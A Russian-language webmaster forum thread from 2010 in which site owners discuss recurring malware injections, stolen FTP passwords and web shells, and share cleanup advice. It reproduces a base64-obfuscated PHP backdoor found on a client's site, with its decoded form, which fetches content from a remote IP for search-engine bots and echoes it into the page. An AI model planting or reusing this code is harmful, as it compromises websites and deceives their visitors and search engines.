Масовое обнаружение вредоносных кодов на сайтах

Гугл только разблокировал сайты и.. опять вирус.

Скрипт того же домена - <script type="text/javascript" src="http://riotassistance.ru

/Access.js"> После чистки заменила пароли, есно - закрыла анонима - НЕ лечится.. Подскажите пож - где искать дыру в СП-панелях?

Причём такая история с сайтами, как и у ТС - на двух РАЗНЫХ серверах.

(Хостер вежливо посоветовал обратиться к специалистам)

Если кто тут и найдет дыру в С-Панелях врядли его вам сольют... скорее заюзают с целью наживы :)))

Код убирал. Но на следующий день он появился снова, ссылка в нем уже на другой сайт.

Поменял пароль ФТП и больше не сохраняю его в программах

У клиента тоже часть сайтов заимела подобный код. Проверил логи - к ним было подключение по ФТП с левого айпи. Код убрали, пароли сменили, ноут клиента под форматирование, а сайты отправлены на проверку гуглу.

После одноразового получения доступа по фтп на сайты зачастую заливается шел и после этого кошмарить доступы по фтп и менять пароли уже бесполезно. Надо обязательно его найти, иначе так и будут заливать с его помощью вредоносный код.

Cтандартная схема.

В ПО хостера находят уязвимость которая позволяет редактировать скрипты пользователей. Ставят ифреймы, снимают учетки админов. Далее уже имеют наживу с дампов бд/продажи шеллов/заливки доров/продажи ифрейм траффа.

Сменив пароль на фтп, не забываем менять его на других панелях, доменов, почте и т.д

Если сломали один раз, то сломают еще не один. Хостер банально ложит на все, начиная от патчинга ядра ОС до прочего ПО. В таком случе совет, меняйте хостера если вам важна безопасность ваша и ваших сайтов.

В основе своей тащят пароли фтп.

1. Антивирус, фаервол.

2. Не хранить пароли в фтп менджерах (НИ КОГДА)

P.S. Нормальные хостеры следят за своей безопасностью, в основе своей мы сами даём возможность воровать у нас пароли.

Вчера обнаружил на сайте клиента сплойт и левый FTP аккаунт, сплойт:

<!--linksb-->

<?php

eval(base64_decode("aWYgKHByZWdfbWF0Y2goJy9saXZlfG1zbnx5YWhvb3xHb29nbGV8YXNrfGFvbHxib3R8Z29vZ2xl

LycsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQokZ2V0ID0gImh0dHA6Ly8xODgu

NzIuMjAxLjExL2JvdHMucGhwP2hvc3Q9Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ107DQppZiAoZnVu

Y3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KJGMgPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0

b3B0KCRjLCBDVVJMT1BUX1VSTCwgJGdldCk7DQpjdXJsX3NldG9wdCgkYywgQ1VSTE9QVF9SRVRV

Uk5UUkFOU0ZFUiwgdHJ1ZSk7DQokb3V0ID0gY3VybF9leGVjKCRjKTsNCmN1cmxfY2xvc2UoJGMp

Ow0KZWNobyAkb3V0Ow0KfSBlbHNlIHsNCiRvdXQgPSBmaWxlX2dldF9jb250ZW50cygkZ2V0KTsN

CmVjaG8gJG91dDsNCn0NCn0="));

?>

<!--linkse-->

Товарищ расшифровал:

ADM_n &#8206;(19.08.2010 18:09):

<--?)??--><??^??(m??_u?(u("if (preg_match('/live|msn|yahoo|Google|ask|aol|bot|google/', $_SERVER['HTTP_USER_AGENT'])) {

$get = "http://188.72.201.11/bots.php?host=".$_SERVER['HTTP_HOST'];

if (function_exists("curl_init") {

$c = curl_init();

curl_setopt($c, CURLOPT_URL, $get);

curl_setopt($c, CURLOPT_RETURNTRANSFER, true);

$out = curl_exec($c);

curl_close($c);

echo $out;

} else {

$out = file_get_contents($get);

echo $out;

}

}");?><--?)??-->

Z-Style добавил 20.08.2010 в 10:36

что собой представляет шел, как его унать? заливается я так понимаю в папки с доступом для всех?

Скорее всего тоже закодированный будет...

Проще выяснить по логам когда сайт сломами и восстановить из бекапа...

Посредством трояна тырят пароли с FTP клиента, установленного на компъютере жертвы, вы про это?